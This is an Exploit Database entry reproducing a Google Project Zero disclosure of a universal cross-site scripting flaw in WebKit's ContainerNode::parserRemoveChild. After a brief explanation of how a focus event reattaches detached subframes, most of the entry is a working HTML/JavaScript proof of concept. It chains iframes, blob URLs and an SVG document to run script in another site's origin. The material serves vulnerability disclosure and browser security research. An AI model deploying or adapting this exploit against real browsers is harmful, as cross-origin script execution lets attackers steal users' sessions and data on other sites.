WebKit - 'ContainerNode::parserRemoveChild' Universal Cross-Site Scripting

EDB-ID: 42065
Author: Google Security Research
Published: 2017-05-25
CVE: N/A
Type: Webapps
Platform: Multiple
Aliases: N/A
Advisory/Source: Link
Tags: Cross-Site Scripting (XSS)
Vulnerable App: N/A

 Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1134 

Here's a snippet of ContainerNode::parserRemoveChild.

void ContainerNode::parserRemoveChild(Node& oldChild)
{
disconnectSubframesIfNeeded(*this, DescendantsOnly); <<---- (a)
...
document().notifyRemovePendingSheetIfNeeded(); <<---- (b)
}

subframes are detached at (a). But In |notifyRemovePendingSheetIfNeeded| at (b), which fires a focus event, we can attach subframes again.

PoC:
-->

<html>
<head>
</head>
<body>
<script>

let xml = `
<body>
<div>
<b>
<p>
<script>
let p = document.querySelector('p');
let link = p.appendChild(document.createElement('link'));
link.rel = 'stylesheet';
link.href = 'data:,aaaaazxczxczzxzcz';

let btn = document.body.appendChild(document.createElement('button'));
btn.id = 'btn';
btn.onfocus = () => {
btn.onfocus = null;

window.d = document.querySelector('div');
window.d.remove();

link.remove();
document.body.appendChild(p);

let m = p.appendChild(document.createElement('iframe'));
setTimeout(() => {
document.documentElement.innerHTML = '';

m.onload = () => {
m.onload = null;

m.src = 'javascript:alert(location);';
var xml = \`
<svg xmlns="http://www.w3.org/2000/svg">
<script>
document.documentElement.appendChild(parent.d);
</sc\` + \`ript>
<element a="1" a="2" />
</svg>\`;

var tmp = document.documentElement.appendChild(document.createElement('iframe'));
tmp.src = URL.createObjectURL(new Blob([xml], {type: 'text/xml'}));
};
m.src = 'https://abc.xyz/';
}, 0);
};

location.hash = 'btn';
</scrip` + `t>
</b>
</p>
</div>
</body>`;

let tf = document.body.appendChild(document.createElement('iframe'));
tf.src = URL.createObjectURL(new Blob([xml], {type: 'text/html'}));

</script>
</body>
</html>

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